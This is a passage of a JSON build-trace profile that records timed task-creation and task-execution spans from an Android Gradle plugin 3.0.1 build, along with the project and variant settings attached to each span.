task","args":{"span_id":"19","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907538000,"dur":100},{"pid":1,"tid":3,"id":20,"name":"app task manager create ndk task","args":{"span_id":"20","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907538000,"dur":100},{"pid":1,"tid":3,"id":21,"name":"app task manager create external native build task","args":{"span_id":"21","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907538000,"dur":100},{"pid":1,"tid":3,"id":22,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"22","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907539000,"dur":100},{"pid":1,"tid":3,"id":23,"name":"app task manager create compile task","args":{"span_id":"23","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907539000,"dur":3000},{"pid":1,"tid":3,"id":24,"name":"app task manager create packaging task","args":{"span_id":"24","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907542000,"dur":1000},{"pid":1,"tid":3,"id":25,"name":"app task manager create lint task","args":{"span_id":"25","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907543000,"dur":100},{"pid":1,"tid":3,"id":10,"name":"variant manager create tasks for variant","args":{"span_id":"10","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907533000,"dur":10000},{"pid":1,"tid":3,"id":26,"name":"variant manager create tasks for variant","args":{"span_id":"26","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907543000,"dur":2000},{"pid":1,"tid":3,"id":28,"name":"app task manager create merge manifest task","args":{"span_id":"28","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907546000,"dur":100},{"pid":1,"tid":3,"id":29,"name":"app task manager create generate res values task","args":{"span_id":"29","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907546000,"dur":100},{"pid":1,"tid":3,"id":30,"name":"app task manager create create renderscript task","args":{"span_id":"30","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907546000,"dur":100},{"pid":1,"tid":3,"id":31,"name":"app task manager create merge resources task","args":{"span_id":"31","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907546000,"dur":100},{"pid":1,"tid":3,"id":32,"name":"app task manager create merge assets task","args":{"span_id":"32","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907546000,"dur":100},{"pid":1,"tid":3,"id":33,"name":"app task manager create build config task","args":{"span_id":"33","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907546000,"dur":1000},{"pid":1,"tid":3,"id":34,"name":"app task manager create process res task","args":{"span_id":"34","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907547000,"dur":100},{"pid":1,"tid":3,"id":35,"name":"app task manager create aidl task","args":{"span_id":"35","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907547000,"dur":100},{"pid":1,"tid":3,"id":36,"name":"app task manager create shader task","args":{"span_id":"36","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907547000,"dur":100},{"pid":1,"tid":3,"id":37,"name":"app task manager create ndk task","args":{"span_id":"37","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907547000,"dur":100},{"pid":1,"tid":3,"id":38,"name":"app task manager create external native build task","args":{"span_id":"38","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907547000,"dur":100},{"pid":1,"tid":3,"id":39,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"39","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907547000,"dur":1000},{"pid":1,"tid":3,"id":40,"name":"app task manager create compile task","args":{"span_id":"40","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907548000,"dur":1000},{"pid":1,"tid":3,"id":41,"name":"app task manager create packaging task","args":{"span_id":"41","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907549000,"dur":100},{"pid":1,"tid":3,"id":42,"name":"app task manager create lint task","args":{"span_id":"42","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907549000,"dur":100},{"pid":1,"tid":3,"id":27,"name":"variant manager create tasks for variant","args":{"span_id":"27","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514227907545000,"dur":4000},{"pid":1,"tid":3,"id":43,"name":"variant manager create tasks for variant","args":{"span_id":"43","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907549000,"dur":2000},{"pid":1,"tid":3,"id":44,"name":"variant manager create tasks for variant","args":{"span_id":"44","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907551000,"dur":4000},{"pid":1,"tid":3,"id":7,"name":"variant manager create android tasks","args":{"span_id":"7","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907530000,"dur":26000},{"pid":1,"tid":3,"id":45,"name":"variant manager external native config values","args":{"span_id":"45","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907557000,"dur":100},{"pid":1,"tid":3,"id":6,"name":"base plugin create android tasks","args":{"span_id":"6","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514227907524000,"dur":33000},{"pid":1,"tid":0,"id":46,"name":"task: delete","args":{"span_id":"46","task":"type: 104\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907569000,"dur":4000},{"pid":1,"tid":0,"id":47,"name":"task: delete","args":{"span_id":"47","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 104\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907574000,"dur":28000},{"pid":1,"tid":0,"id":48,"name":"task: unknown task type","args":{"span_id":"48","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514227907602000,"dur":100},{"pid":1,"tid":0,"id":49,"name":"task: app pre build","args":{"span_id":"49","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 92\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907602000,"dur":27000},{"pid":1,"tid":0,"id":50,"name":"task: aidl compile","args":{"span_id":"50","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 1\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907629000,"dur":12000},{"pid":1,"tid":0,"id":51,"name":"task: renderscript compile","args":{"span_id":"51","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 54\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514227907642000,"dur":2000},{"pid":1,"tid":0,"id":52,"name":"task: check manifest","args":{"span_id":"52","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 8\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907644000,"dur":2000},{"pid":1,"tid":0,"id":53,"name":"task: generate build config","args":{"span_id":"53","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 24\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907646000,"dur":7000},{"pid":1,"tid":0,"id":54,"name":"task: prepare lint jar","args":{"span_id":"54","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 119\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514227907653000,"dur":1000},{"pid":1,"tid":0,"id":55,"name":"task: generate res values","args":{"span_id":"55","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 26\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907655000,"dur":1000},{"pid":1,"tid":0,"id":56,"name":"task: unknown task type","args":{"span_id":"56","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907657000,"dur":100},{"pid":1,"tid":0,"id":57,"name":"task: merge resources","args":{"span_id":"57","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 40\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907658000,"dur":287000},{"pid":1,"tid":0,"id":58,"name":"task: compatible screens manifest","args":{"span_id":"58","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 9\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907946000,"dur":2000},{"pid":1,"tid":0,"id":59,"name":"task: merge manifests","args":{"span_id":"59","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 39\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907948000,"dur":42000},{"pid":1,"tid":0,"id":60,"name":"task: splits discovery","args":{"span_id":"60","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 87\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907991000,"dur":6000},{"pid":1,"tid":0,"id":61,"name":"task: process android resources","args":{"span_id":"61","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 51\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227907998000,"dur":203000},{"pid":1,"tid":0,"id":62,"name":"task: unknown task type","args":{"span_id":"62","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908201000,"dur":1000},{"pid":1,"tid":0,"id":63,"name":"task: test pre build","args":{"span_id":"63","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 93\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908202000,"dur":23000},{"pid":1,"tid":0,"id":64,"name":"task: aidl compile","args":{"span_id":"64","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 1\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908225000,"dur":6000},{"pid":1,"tid":0,"id":65,"name":"task: process test manifest","args":{"span_id":"65","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 53\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908232000,"dur":8000},{"pid":1,"tid":0,"id":66,"name":"task: renderscript compile","args":{"span_id":"66","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 54\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908240000,"dur":6000},{"pid":1,"tid":0,"id":67,"name":"task: generate build config","args":{"span_id":"67","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 24\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908247000,"dur":2000},{"pid":1,"tid":0,"id":68,"name":"task: generate res values","args":{"span_id":"68","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 26\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514227908249000,"dur":1000},{"pid":1,"tid":0,"id":69,"name":"task: unknown task type","args":{"span_id":"69","project":"id: 